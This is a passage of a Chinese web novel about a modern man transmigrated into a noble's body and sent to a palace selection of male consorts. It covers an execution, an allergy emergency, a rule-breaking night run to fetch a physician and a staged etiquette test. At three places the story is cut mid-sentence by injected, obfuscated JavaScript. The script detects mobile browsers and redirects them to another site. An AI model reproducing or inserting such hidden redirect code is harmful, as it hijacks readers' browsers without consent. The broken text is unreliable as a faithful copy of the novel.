姜尚宫平静说:“诸位等圣旨吧。” 姜尚宫话音刚落,传旨的人就来了。 为首的是个年岁和姜尚宫相仿的女官,个子不高,容貌秀丽,看官服式样,就知此人品阶不低,估计是御前秘书一类的。 “参见钟大监。” 姜尚宫一带头,众人紧跟着一道行礼。 钟大监拿起圣旨:“董律听旨。” 在圣旨面前,董律收敛了关系户的傲气,跪下接旨。我们在旁的人,沾了董律的“光”,也齐齐跪倒在地,旁听旨意。 “魏家怙恩恃宠,教子无方,罚俸三年,降爵一阶。” 董律愕然抬首,似是没有想到,最先挨罚的是自己亲爹。 “其子董律入宫参选,不念皇恩浩荡,反横行无忌,目无宫纪,且屡教不改,按律本当杖毙,但念其年少,故赐鸩酒一杯,以全体面。” 我跪在董律后面,瞧不见他的神情,只能瞧见身旁毕过的惊诧之色,和陆韫之的淡然面目。 董律高声吼叫:“不可能,绝不可能,表姐怎会这么对我!” 钟大监无情重复:“董公子接旨吧。” 董律猛然站起,声音却低了下去:“我不信,我要面见陛下!” 他推开钟大监,想往外走,然后钟大监身后的几个宫人牛高马大,见董律想冲出去,立刻上前,将其轻易擒拿。 “让我见表姐,我不信表姐会如此待我!” 董律的叫喊声,初时听着刺耳,听久了,只觉得可悲。 他始终挣扎着,不愿体面地走,宫人们就替他体面了。 一杯鸩酒灌下去,很快,就听不见叫喊声了。 周围的秀男大都低着脑袋,发抖的发抖,淌汗的淌汗。 我悄悄抬头瞥了一眼,董律已倒在了地上,嘴角渗血,双眼圆瞪,眸中比不甘更多的是不信。 他到死都不信自己会被皇帝表姐赐死。 片刻后,钟大监让我们起身,平声说:“前车之鉴,诸位公子可莫要再心存装狂卖傻、蓄意滋事的念头了。” 说到这儿,钟大监故意一顿,极含深意的目光竟对上了我的视线。 “届时,丢了性命事小,连累全族事大。” 在她身后,董律的尸身已被宫人们拖走了。 除却地上残留的那一点血迹,仿佛无事发生。 4. 第 4 章 这天上午剩下的时间里,我既无法专心学习礼仪,也不敢再故作不会,只能机械地照做,麻木地重复,脑子里全是董律那张死不瞑目的稚嫩小脸。 一个活在现代可能才刚参加完中考的小孩,居然就这样因为一时作死,而真死了。 关键是,董律作死的初衷和我一样——都是不愿入宫,都是希望能主宰自己的人生。 其实我很清楚,哪怕我内心有一万个不愿意穿越,也必须得承认,我能穿越到一个相对太平的盛世年间,成为首都国公府上的爹宝男,已经算是抽中ssr了。 这样的天胡开局,让我一直处于衣食无忧的安全区,完全没有深刻意识到穿越会带来的危险。 直至董律血的教训,摆到了我的眼前。 穿越到了这样一个时代,就意味着哪怕我没有违法犯罪,也会因为当权者的一个不爽,而丢了脑袋。 关于董律的事,我的两位室友毕过和陆韫之也各有看法。 毕过说:“我是看不惯董律,但却觉得这人罪不至死。他不愿入宫,将他大惩一番赶出去不就是了,又何必……” 陆韫之则更一针见血:“董律不愿进宫,传出去了,损的是天家颜面。陛下此举,也是在警示我们。” 都到这时候了,我如果还看不出女帝最想警示的人是谁,那今晚就该领盒饭杀青了。 钟大监最后对着我说的那句话,都不算是暗示了,简直明得就像期末考前老师把原题给你勾了出来,让你回去反复背诵。 我现在非常慌,因为我已经意识到自己犯了一个很大的错误——仗着自己是穿越的,把古人当傻子了。 实际上,这里的古人不是剧里的NPC,智商都很正常,就我那演技水平,是不是装疯卖傻,稍微聪明一点的,能瞧不出来吗? 太医院的一把手那么轻易就给我诊断成“傻子”,难道是因为他菜吗? 那可是太医院一把手啊!不说医术全国第一,好歹也是官方认证的医学界领军人物。 太医院一把手说我傻,是因为诸葛镜希望我傻,他是在卖国公府的人情。 诸葛镜估计咂摸着,只要我被确诊成了傻子,或许就能避掉许多危险,好比进宫这事。 按照这个逻辑顺下来,是最合理的,但我心存侥幸,还是去问了一嘴毕过(我觉得这小伙子看着最实诚)。 “毕公子,请问我看着像在装傻吗?” “你想听实话吗?” “我就爱听大实话。” “有时候吧,你的行举瞧着的确浮夸了些,像是演的。可有时候,你口中的一些话,又实在叫人疑惑,怀疑你这儿不太好使。” 毕过很贴心,生怕我听不懂“这儿”是“哪儿”,还专门指了指脑袋。 这下我算是彻底放弃幻想了,董律的死,明确地告诉了我,装疯卖傻是行不通的。 而毕过的话,也让我认清了自己的演技水平——我演不好傻子,最多靠一些现代词,让别人觉得我时不时在发癫。 演不好就别演了! 继续演下去,时间久了,我自己肯定也难受。而且,就算我现在真靠装傻出去了,以后哪天在外面装不下去了,传进皇帝耳朵里,不就坐实了我现在在欺君吗? 那到底该怎么办?怎么才能在保住性命的前提下,保证自己落选? 毁容吗?还是再狠点,挥刀自宫? 抛开要承受的痛苦不说,这样做是不是太不厚道了? 这是诸葛易的身体,又不是我的。 我如果运气好,日后穿越回现代自己的身体了,的确可以让“往事都随风”。 可万一与此同时,诸葛易回到了古代的这具身体。等他醒来,一照镜子,看见脸毁了,一低头,发现割以永治了,那场面想想都觉得太残忍了。 当然更重要的是,我在选秀期间毁容自宫,这不就是明摆着想抗旨吗?怎么可能活命! 此路不通,再想想。 下午的培训,我就一直在脑子里不断提新方案,又不断否决,到了晚饭时,也没想出个可切实落地的方案,只得出了一个高概念化的大方向(跟年终汇报大会上,各事业部PPT里的‘展望未来’部分差不多)——不求有功,但求小过。 那么问题来了,究竟什么才算“小过”? 董律是早上没的,中午那会儿,大伙间的气氛还有点低沉,可等到了晚上的时候,就恢复得跟昨天差不多了,甚至比起昨天来还热闹了点。 不少秀男趁着晚上自由时间开始串起了门,我们宿舍来了一个叫柴昊的秀男,双亲都在翰林院工作,本人很清俊,也极富书卷气,放这届训练营里,算得上第一梯队的长相了。 柴昊自称他久仰陆韫之的才名,正好今夜饭后作了首诗,想请陆韫之帮忙雅正一二。 陆韫之是喜诗之人,一听来意,忙笑着把柴昊请了进来。我和毕过诗懂得不多,但懂凑热闹,也一块围观了起来。 柴昊的一手字很不错,工整中见风骨,放现代当个书法兴趣班的老师绰绰有余。诗是写宫怨的,看着就比较一般了,远够不上《唐诗三百首》的入选标准。 “回首隔九重,年华许深宫。曾羡芙蓉面,尔今哀落红。” 陆韫之读后微笑说:“柴兄看来是有感而发啊。” 柴昊面露惭愧:“不瞒陆兄,眼看殿选将近,我是越发焦虑,生怕自己资质平平,入不了陛下的眼。可说来也怪,我今夜本是想借诗文纾解心中郁结,怎知落笔却成了一首宫怨诗。” 陆韫之淡笑:“诗乃天赋灵感,落笔后成什么模样,本就不是我们所能掌控的。” 柴昊神色茫然,说:“我本一心想要中选,可作完此诗,竟又不知入宫一事究竟是祸是福了。这诗……就好似在冥冥之中警醒我一般。” 陆韫之说:“世间祸福,向来难辨,但遂心愿,便算福分。” 柴昊神情渐变坚定:“多谢陆兄解惑,是我庸人自扰了。” 说完,他恭敬地递过了笔:“还请陆兄不嫌,为拙作雅正。” 陆韫之接笔说:“柴兄言重了。” 陆韫之的字一写上去,立马就把柴昊的字衬得矮了一头。 他就改了个字,就令柴昊大呼:“妙啊,‘年华许深宫’这句将‘许’换作了‘锁’,既增悲戚,也更契合宫中人的处境。” 陆韫之又提笔,将“尔今哀落红”的“哀”字换作了“惜”。 他解释说:“同表怜悯之意,‘惜’字多了一分爱惜之情,用在此处,与‘羡’字相对更好。” 柴昊赞不绝口:“陆兄高才,无愧于陆家子弟!远非我这种门第的人能比的。” 陆韫之轻皱眉:“柴兄此言差矣,学识一事向来无关门第,只关乎个人修行。 柴昊忙道歉:“是我出言不周,请陆兄见谅。” 陆韫之又恢复微笑:“柴兄也是好意夸赞,言辞上的小事,你我都不必挂怀。” 柴昊送走没一会儿,又接连来了好几拨串门的。 这选秀训练营说白了,就是个小名利场,哪屋的天龙人多,哪屋就热闹。鉴于我还没制订好循序渐进恢复正常的方针,于是决定尽量少说话,整体看着比傻子稍微正常一些就差不多了。 一晚上下来,我勉强把训练营的同学们都认识了一遍,但好像还差一人…… 快要熄灯前,差的那个人终于也来了。 这人就是本届训练营里,以我个人审美来看五官最帅的那个哑巴大帅哥(有朋友可能会好奇问,在我的审美里,诸葛易和哑巴大帅哥哪个更帅?这个问题就比较尴尬了,如果诸葛易是一张生面孔,那我必定要公正客观地锐评一番,但‘不巧’的是,诸葛易的脸和我现代的脸长得一模一样,而我一向是不会把自己的脸拿去和别人比较的。毕竟一张脸,哪怕长得再帅,天天在镜子里看,看个几十年,也早就腻了。)。 这个大帅哥也确确实实是个残障人士,说不了话,见了我们,先不好意思地打起了手势。 毕过和陆韫之都看不懂手语,面生疑惑,我就替他们翻译起来:“这个时辰来,是不是打扰到三位了?” 大帅哥不聋只哑,见我不仅能看懂,还能帮他翻译,高兴地打手势感激起了我。 我热情回他:“小事,别客气!” 大帅哥又向我们解释,他原本想早点登门造访的,但见前面有人在,怕打扰了我们的谈话,才拖到了现在。 寒暄过后,简单地聊了下,我才知道这个大帅哥的背景。 大帅哥叫吴符,家在岭州(地理位置约等于我们时空的两广地区)沿海的一个小渔村里,祖上几代都是靠海吃饭,但打鱼的钱,从来都只够温饱。 也许是祖上积攒的福分够了,到了吴符这儿,突然就中了基因彩票,长了张帅到惊动岭州高官的脸,被上面给挖了出来,送来参选了。 岭州官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323882|199113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方许诺吴符,不管他最后入没入选,都会给他家里面一笔钱。吴符抱着能给家里头多赚一分算一分的念头,爽快地答应了。 吴符还说,他原本以为自己很快就会落选回家,结果没想到居然走到了总决赛。 昨天我就隐约看出来了,吴符这人虽然长了一张野性酷哥的脸,但恐怕为人却是淳厚的,不然就凭他这个大身板,也不至于被董律给欺负了去。 吴符这回上门,也不是空手来的。他把手中的一袋子牛皮纸,放在了桌上,打开一看,里面装满了裹着白砂糖的芒果干。 吴符继续打手势,我充当翻译。 “昨日的事,还要感谢诸葛公子和毕公子仗义解围,这是我们老家的特产。” 陆韫之最见多识广,先道:“这是庵罗脯?” 吴符激动地点了点头:“很甜的,大家尝尝吧。” 陆韫之婉拒道:“多谢好意,可惜我晚膳时贪嘴了些,现下正饱着。” 想必陆韫之不会是真晚饭吃多了,而是为人谨慎,不愿吃不知深浅的人递来的东西。 我觉得吴符神色真诚,不愿叫他失落,主动拿起两块芒果干就往嘴里塞。 入口滋味非常不错,比现代那些加科技搞狠活的强。 我竖起大拇指赞:“好甜!” 毕过在旁也看馋了,吴符见他没表态,热情比划:“毕公子也尝尝吧。” 毕过犹豫说:“我在家都不让吃甜的。” 我奇了:“为什么?怕你胖?” 毕过说:“我们毕家祖训,甜吃多了,就吃不得苦了。” 我笑:“那你还不趁着在外面多吃两口?” 毕过跟在说服自己一样:“那……就一口吧。” 他吃了一片进去,转瞬心花怒放,双目发光。 “好吃!” 吴符:“再来点吗?” 毕过咽了一口唾沫:“那……就再来点!” 小年轻定力总是差点,毕过这一来再来的,立马就彻底沦陷了,一大袋芒果干,不一会儿就被他一个人吃了大半。 “不行,不能再吃了,喏,剩下的诸葛兄吃吧。” 我也不客气,把剩下的吃完了,毕过在旁瞧着馋,我最后又给他留了一片。 最后一片咽下后,毕过还意犹未尽地啜了啜食指上的白糖。 毕过说:“我还是头回吃庵罗脯,没想到这么香甜可口。” 吴符比划起来,我继续帮他翻译:“如果你以后能来岭州,我带你去吃刚摘下来的庵罗,那才是真美味!” 毕过大喜:“一言为定!” 不一会儿,藏秀苑就响起了打更声,提醒大伙该各自归寝,熄灯睡觉了。 吴符一走,陆韫之便感叹:“还好有诸葛公子在,不然我们可瞧不明白吴公子的手势。” 毕过也说:“方才我也惊讶,诸葛兄居然瞧得明白……” 很显然,能看懂手语这事不太符合我傻子的人设。 我说:“府上照看我的兄弟也是个哑的。” 这是实话。 之前我一直没提,诸葛易有个贴身的哑巴侍从,名唤燕羽。 在现代,我从来没学过手语,可穿越后一睁眼,我见到燕羽打手势,脑子里就自然而然地翻译了过来,仿佛一种本能。 毕过说:“倒也奇怪,国公怎么给你挑了个哑仆,不怕办事不便吗?” 陆韫之说:“国公大人大约是求忠不求全,这世上四肢健全者常有,但赤胆忠心者难寻。” 毕过赞同:“不错,只要能忠心护主,管他是不是身有残缺。” 我说:“一个健全的社会是需要给残障人士提供岗位的。” 毕过开始笑:“哈哈哈,诸葛兄又开始说我们听不懂的胡话了。” 毕过的笑声极富感染力,逗得陆韫之也忍俊不禁了。 我见这俩小兄弟笑得真诚,心里头也挺高兴的,觉得至少目前为止,我还没遇见真坏人,这选秀过程也没像现代宫斗剧里演的那样,集集都在勾心斗角。 可我的高兴劲还没过去多久,就笑不出来了。 当晚躺下后,我大约睡了不到一个小时,就被急促的敲门声吵醒。 我连忙起身,点灯开门,就见毕过站在眼前,模样大变。 这会儿的毕过,嘴巴红肿,脸上红斑四起,呼吸急促,不见一点精气神,虚弱得像是下一秒就要休克过去。 5. 第 5 章 毕过声音含糊说:“我……睡下后不知怎的,突然……就浑身难受,使不上力,喘不过气,能……否帮我去请医士。” 我摸了下他的额头,烫得不行,立马重视了起来。 第一天入宫时,姜尚宫就交代过,藏秀苑是安排了医士十二个时辰值守的,如果选秀期间有人病了,可以直接去值班室找医士。 我们这间宿舍靠近藏秀苑的大门,而值班室偏偏在藏秀苑最靠里的一间偏房里,我一路快跑过去,花了不少时间。 今夜值守的医士是个二十出头的年轻男子,我看当值挂牌上写着姓“黄”。 黄医士一听有人突发疾病,也很紧张,忙提起药箱,跟我一块赶回了宿舍。 屋内,毕过还醒着,但脸色更难看了。他一见黄医士来了,便指着喉咙,艰难说:“胀,喘……喘不上。” 黄医士先看了下毕过的脸和手,又让他张大嘴巴,把喉咙露出来。 “瞧着是风团,可为何会喉头水肿……毕公子今夜是吃了什么不该吃的吗?” 我说:“就宫里面统一放的饭,也没什么特别的。” “除饭之外,毕公子还吃了庵罗脯。”一道温雅的男声响起。原来是陆韫之听见动静后醒了,也赶了过来。 等等,庵罗脯,不就是芒果干吗! 陆韫之这话,一下就点醒了我:“他多半是对芒果过敏!这是过敏引起的喉部水肿!搞不好是急性会厌炎!” 我这么清楚,是因为我有个前同事就是这么走的,过敏导致急性会厌炎,最后喉部高度水肿,堵住了气管,等送医院的时候已经晚了! 我着急得不行,可陆黄两人听我这一连串现代词,却神色莫名。 陆韫之安抚说:“诸葛兄莫急,医士已经来了。” 对,医生已经来了,轮不到我这外行瞎添乱。 黄医士打开药箱,拿出装备后,先开始给毕过扎针,然而几针扎下去,毕过的症状非但没有缓解,反而直接休克了过去。 陆韫之惊问:“怎会这样?” 黄医士的状态从一开始就紧绷着,现在眼见毕过休克过去,更是露出了慌色。 他惶恐说:“我……我学艺不精,没……没见过这样的情形,恐怕要请太医来才行……” 我不懂:“你不就是宫中太医吗?” 他惭愧说:“我们医士只是太医院中的学徒,要学成且通过考核,才能成为太医。” 我说:“那我去请太医。” 黄医士却说:“你们秀男没有官身,按规矩,是……是无权得太医诊治的。” 这下我算是全明白了:宫里面最讲尊卑上下,秀男属于面试候选人,非正式员工,所以也只会安排同样非正式的学徒来看诊。 我问:“人命关天,就不能破例吗!” 黄医士为难道:“即便能破例,可这会儿宫门都落钥了,要去太医院,也得等到卯正时分了。” 黄医士的话没错,藏秀苑有道大宫门。 为了防止秀男们深夜乱跑,每晚十点后,这道大宫门要上锁,等到第二天早上六点,姜尚宫来了,才会开门,让我们起床集合。 陆韫之看了一眼房内的漏刻,说:“如今离卯正还有三个多时辰,医士可有法子让毕公子坚持到那会儿? “我……我勉力试试,但……” 黄医士自己说着都露怯了,估计是基本没什么把握。 三个多时辰就是六七个小时!现在毕过人都休克了,这里又没有ICU的设备,硬生生再拖六七个小时,人早凉透了。 我果断说:“不行,不能再拖了!” “可……” 我截断陆韫之的话头,问黄医士:“太医院怎么走?” 问完路,我就出了房门,朝大门赶去。 藏秀苑大门前有两个值守的宫人,我向二人说明缘由后,两人也是六神无主,都说之前没出过这样的先例,所以拿不出应急方案。 他俩商量了两句后,结论是这事他们做不了主,为今之计是先让一人去通报姜尚宫。 我说:“那这一来一回岂不是又要耗去许多时间?” 而且我猜,姜尚宫也未必能作这事的主。他肯定要先上报给皇夫,等皇夫特许。但这大半夜的,姜尚宫怎会拿秀男的事去惊扰皇夫的好梦呢?到头来还是会拖到明天早上。 宫人说:“可没有尚宫之令,我等断不敢轻举妄动,更不得放公子离开藏秀苑。” “那就得罪了。” 话音刚落,我出掌飞快,将他俩劈晕在地。 在现代,我学过格斗术,但却是第一次用在实战中。愣神一瞬后,我不敢再耽搁,取下门拴,推开大门,按黄医士说的路线,朝太医院狂奔而去。 奔跑途中,我脑子里突然冒出了上辈子某个汇报会上的PPT内容:为什么网络直播卖货都要放在深夜? 简而言之:一方面是因为到了晚上,大家都下班了,有更长的时间看直播;另一方面则是因为比起白天,人在深夜时,更容易冲动消费,为情绪买单。 所以此刻,就算理智在提醒着我:我现在的行为有很大概率会让我和董律一个下场,但从情感和道德上来讲,我怎么都无法眼睁睁地看着一个不到二十的大好青年,以这种方式遗憾地离开人世。 我必须要赌一把! 如果成功了,也许我会因此得偿所愿,丧失选秀资格。 如果失败了,那最坏也不过一死。 死之前,要是能救回一人的命,那我的死,或许也不算太亏。 一路跑来,我运气很好,就撞见了一波巡夜宫人,我怕被逮住了问讯,会耽搁时间,就躲了一波,再之后,便没有碰到过了。 这个点,太医院里的灯早快灭完了,只留了一间偏房亮着,无疑是值班室。 当我出现在值班室门口时,早跑得精疲力竭。我满头大汗,粗喘大气,把几个值班太医吓了一跳。 他们看我衣衫不整(出门时只随手披了一件外套),皆是默然不语,其中一位瞧着年岁最大、资历最深的太医先开口问道:“阁下是?” 我说:“我是这届的秀男,同院有位秀男突发恶症,昏了过去,值守的医士没有把握医治,还请太医大人前去诊治。” 为显诚意,我说完,就恭敬地行了一个这两天学的宫礼。 大约是我礼行得太大,又违了什么礼制,老太医见后,连忙伸手拦下了我,没敢让我行完。 老太医说:“你可知,没有旨意,太医是不得为秀男看诊的。而且……你身为秀男,深夜来此,怕是也已违了宫规吧。” 我高声质问:“医者父母心,诸位大人便见死不救吗?” 另一位太医说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323883|199113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “若坏了宫中规矩,那没命的恐怕就是我们了。” 然而就在这时,传来了一道女声。 “请问病人具体是何症状?” 我这才发觉屋里最偏僻的角落里还坐着一位年轻的女太医。她放下手中医书,起身走了过来。我定睛一看,只见她约莫二十来岁,相貌朴素,就眉眼稍显出众些。 我立刻报上了毕过的症状,女太医越听,眉间越显急色。 她说:“这是已入极危之境,确实不能再拖了。” 我加大筹码:“这位秀男乃是毕老将军的亲孙子,大人倘若能施以援手,毕老将军日后得知了,一定会铭记这份恩情的。” 毕过的家世确实显赫,我这么一报,屋里余下太医们的脸色明显都跟刚才不太一样了。 唯有女太医面容未变:“我随你去。” 老太医上前一拦:“小秦啊,你这可是违了宫规!而且你,你还是个女子呀,怎能无旨便去藏秀苑替秀男看诊!” 被唤作“小秦”的女太医说:“医者眼中,从无男女之别。且事急从权,若事后陛下降罪,我定当一力承担,绝不牵连诸位同僚。” 秦太医这一番话,听得我大为感动,看来这深宫之中,也还是有品德高尚之人。 她说完,提了医箱,就跟着我走。 回去途中,我没忍住问她:“大人真不怕事后被追责吗? 秦太医说:“阁下都能为了救来日对手,不惜夜闯宫禁,我身为医者,又怎可见死不救呢?” 的确,我与毕过都是候选人。 对于真想中选的人来说,少一个对手,就多一分胜算,但怪就怪在,我本来就不想中选,还巴不得毕过、陆韫之他们把名额给全占完。 这番心里话,我没必要告诉秦太医。 我只说:“在成为对手之前,他先是一条人命。” 秦太医突然抬头看了我一眼,随即飞快移开目光,道了一声“失礼了”,便快步向前。 这场急救持续了很长时间,秦太医和黄医士都忙得满头大汗,才终于把毕过从鬼门关给抬回来了。 秦太医说:“还好公子寻我及时,不然再晚个几刻,便是神仙来了也难救。现今毕公子性命已无碍,但身上的风团,还需连敷几日药,才能彻底消去,不知会不会因此耽搁了殿选。” 我说:“真选上了,也未必是什么好事,人能活着,比什么都强。” 我不禁说出了心里话,众人看我的目光里又多了一丝古怪。 随后,我准备趁着看门的两位值守宫人没醒,把秦太医送回太医院。 但秦太医刚迈出藏秀苑的大门,就拦下了我。 “阁下不必再送了。” “大晚上的,你一个女生……” “阁下不是病人,你我之间,男女有别。” 她说得对,很多礼节,该守必须要守,不然坏的就是别人的清誉。 我只能恭敬地对她行了一个大礼,以示谢意,她还了一礼后,清瘦的身影便渐渐消失在了幽深的宫道上。 目送走秦太医,我终于长舒了一口气,心想着总算是过关了。 然而等我一转头,就发现了一个鬼故事——那两位被我敲晕过去的宫人,还歪倒在大门旁,睡得十分安详。 这算个屁的过关! 这一关分明才刚开了个头! 6. 第 6 章 刚才那场急救下来,黄医士肉眼可见地疲惫,我让他先回值班室休息,毕过这儿我来守着,有事应付不过来,再去叫他。 黄医士感激离去,我让陆韫之也回屋先睡。 陆韫之却说:“出了这事,我困意早消,就陪诸葛公子一块守着吧。” 我看他面藏心事,坦然说:“陆公子有什么话想说,就直说吧。” 陆韫之说:“就凭今夜之举,陆某敢笃定诸葛公子绝非傻子。” 我不装了:“确实,我不傻,只是在昏迷的那些年里,我的神魂去了另外一个地方,现在刚回你们这儿来,有太多的不适应。” 陆韫之反问:“另一个地方,是指梦境吗?” 你跟古代人解释穿越是很难解释清楚的,我索性顺着他的话说:“对,可以把那当作成一场梦。但那场梦太过真实,实在叫人不愿醒来。” 陆韫之安慰说:“我明白,我也曾做过许多美梦,醒来后总觉怅然若失。” 我苦笑:“岂止是怅然若失啊。” 陆韫之说:“但你终究已经醒了。” 我的笑意愈发苦涩:“你说的没错,我终究已经醒了啊。” 岂止是醒了,说不准马上就又要嘎了。 快到六点的时候,毕过醒了过来,虽然看着仍很虚弱,但他说,他感觉自己喉头的水肿已经消了不少,能喘得过气了。 他问我们昨夜是救了他,陆韫之先我一步道明了前因后果。 毕过听后看向我,满脸感激:“救命之恩,无以为报!” 我说:“我就是跑了个腿,你最该谢的人是秦太医和黄……” 我话音未落,就见两个宫人进来通传:“请三位公子于礼德殿集合。” 我扫了眼屋内的漏刻,现在还没到平时的集合时间。 唉,果然该来的清算,还是要来,躲不过的。 但当我们到达礼德殿时,秀男们也基本上到得差不多了。 毕过脸上的异样,很快引起了周围人的惊疑,而远处的吴符,瞧见毕过后,更是顿露慌愧。 他似想要上前来比划什么,但见姜尚宫已入殿内,便只能站回原位。 殿内其余秀男也当即收声敛容,站得齐齐整整。 “本官听闻,昨夜藏秀苑可不是一般的热闹啊。” 殿内寂静一片,姜尚宫却已踱步到了我的身侧。 “你说是吗,诸葛公子?” 事已至此,我只能冲姜尚宫嘿嘿一笑。 姜尚宫面色一沉,凛然说:“传皇夫殿下懿旨,秀男吴符蓄意毒害同僚,其心险恶,视同杀人,按律赐死。” 吴符大震,忙比起手势:“我没有下毒!没有下毒!” 人命关天,我无法沉默:“昨夜的庵罗脯,我也吃了不少。如果有毒,那为什么我能好端端地站在这儿?” 毕过瞧向吴符时,本是万分激愤,但一听了我的话,又好似开始琢磨了起来。 姜尚宫问:“若庵罗脯中无毒,毕公子昨夜怎会危在旦夕!” 我说:“那是因为他不能吃庵罗。” 吴符比划:“我们村中也有人吃了庵罗后,会像毕公子一样,浑身起疹子。” 毕过怒色渐消,说:“昨夜的确是我头回吃庵罗。在这之前,连我都不知道自个不能吃庵罗。这么看来,吴公子自然更不可能知道这件事了,所以他应当不是存心的。” 姜尚宫说:“好,就算吴公子没有蓄意投毒。那诸葛公子你呢?殴打宫人、擅闯宫禁、私请太医,你说说,你有哪件不是蓄意而为?” 我老实说:“都是蓄意。” 姜尚宫说:“殿下判你杖责八十,逐出宫去,你可有异议?” 我的心率瞬间飙升,脑子里早就无视了“杖责八十”这个前置条件,只剩下“驱逐出宫”四个大字。 原来寓言故事不是骗人的,好人还真有好报! 我心心念念的事竟然就这样成了! 溜了溜了,这个动不动就掉脑袋的鬼地方,谁爱待谁待,老哥我先走一步了,其余小兄弟们好好保重吧。 我脑子里都已经开始构思等会儿的告别宣言了,可一道正气十足的声音却在这时突然响起。 “草民有异议!” 只见身旁的陆韫之朝姜尚宫一礼,端的是浩气凌然,正得发光。 姜尚宫语含威胁:“陆公子是对殿下的懿旨有异议?” 陆韫之说:“倘若这真是殿下的懿旨,草民自不敢有任何异议,但如若这不是呢?” 姜尚宫攫然色变:“大胆!你是在质疑本官吗!” 陆韫之理直气壮说:“昨日下午,尚宫大人讲授宫中礼制时曾说过,不论是圣旨,还是懿旨,既然是正式的旨意,便一定有盖了御印的谕书为凭,否则便都算作口谕。然而方才尚宫大人一口一个‘懿旨’,但手中为何不见一道谕书呢?莫非是尚宫大人将口谕与懿旨混淆了吗?但像尚宫大人这般为官多年、行事谨饬之人,又岂会犯下如此低等的纰漏呢?” 姜尚宫没有打断陆韫之的长篇大论,面上的冷意渐消,反生出几分欣赏。 “其二,既然是皇夫殿下的旨意,又岂容我等违逆?但方才,尚宫大人居然会问诸葛公子,对于这道懿旨,可有异议?这岂非也是大大违了尊卑礼数!这两处错漏,足以言明,尚宫大人方才所说的一切都不是真正的旨意,而是在借由此事,考验我们昨日所学!” 陆韫之的话,温雅却不失有力。 姜尚宫听完这份满分答卷,当然也不必再装了。只见他笑意尽显,欣赏地鼓起掌来。 “好一个陆家儿郎!非但礼制熟谙,还有胆有识!” 陆韫之听见夸耀,也保持着谦逊之姿,又是一礼。 “尚宫大人谬赞,草民也不过是谨遵大人教诲,且不愿见无辜之人、见义勇为之人蒙冤。” 姜尚宫更欣赏了:“谦恭仁义,这才是你最大的长处。” 夸完陆韫之,再看向其余人时,姜尚宫面色便又变严肃了。 “今日这场考验,唯有陆家公子一人通过,其余诸人今夜回房后,将本官昨夜所讲的宫规礼制通通抄写十遍。” 毕过担忧问:“尚宫大人,刚刚的懿旨若是假的,那真正的懿旨是什么呢?” 姜尚宫正色说:“传皇夫殿下口谕,吴符虽非蓄意害人,但终是惹出了祸端;诸葛易虽是好心救人,可所行又委实逾矩。但念在两人初入宫闱,不熟宫中礼制,便罚吴符诸葛易翘关二十次,小惩大诫。” 在国公府的时候,我就听我的便宜老爹诸葛镜说过,当今的这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在宫里头,君位有两位,一位有封号,另一位没封号。虽说同是二品,但默认这得了封号的,又比没封号的高贵一些。 君位之上,还有一位贵君,贵君之上,就是皇夫了。 姜尚宫也就跟我们提了一嘴这四强选手,剩下的,他就没多说了,可能在他心里头,君位之下的兄弟咖位都低了些,不配拥有姓名吧。 讲到最后,姜尚宫又给我们画起了饼:“诸位公子日后一旦成了宫中侍君,那便都是主子,莫说是本官了,便是定国公这样的大人物,见了诸位,也是须得执臣礼的。” 定国公不正是诸葛易亲爹诸葛镜吗?姜尚宫估计是刚发现我走神了,又开始点我来了。 “好了,已到午膳时间,本官知道不少公子已经饿了。” 姜尚宫故意一顿。 “但不急。请诸位公子先留下来,一道观刑吧。” 当宫人们把两根几米长的“庞然大物”抬到了眼前,我才意识到皇夫懿旨中“翘关二十次”代表着什么。 然后,我就笑不出来了。 7. 第 7 章 翘在古代是“举”的意思,“关”则指的是门栓。这门栓还不能是普通人屋子里的那种,而是城门门栓,因为够重够粗。 所以说白了,“翘关”就是古代版的举重。在杠铃没发明前,古人举重通常就举门栓。 毕过是将门之后,不肖近看,就认了出来:“长一仗七尺,径三寸半,这不是武举场上用的门关吗!” 姜尚宫肯定说:“毕公子慧眼。” 毕过担忧说:“可他们二人又不是武举考生,这有些强人所难了吧……” 姜尚宫说:“身为宫中侍君,岂能手无缚鸡之力!” 不愧是给皇帝选男人,标准就是高,不但要脸漂亮,力量训练上还必须对标武举考生。 可如果我力量训练到不位呢,是不是就能喜提“优化”了呢? 我看着摆在我身前的那根粗壮门栓,上前假模假样抬了一手,为难说:“好重,这该怎么举,我能不能弃权呀?” 姜尚宫淡淡说:“诸葛公子想必是糊涂了吧,这可不是考验,能许你临阵脱逃。若是你们二人不能完成今日这道惩罚,便以抗旨罪论处!” 但凡看过古装剧的朋友都知道,抗旨一般就一个下场——脑袋搬家(亏我刚刚还在心里面夸皇夫仁德,结果坑在这儿给我们埋着呢)。 吴符从刚才起就严阵以待,现在听了这话,来到门栓前,更是神色郑重。 他朝姜尚宫比划起来:“大人,衣袖太长,不便翘关,我能不能把上半身外衣给脱了。” 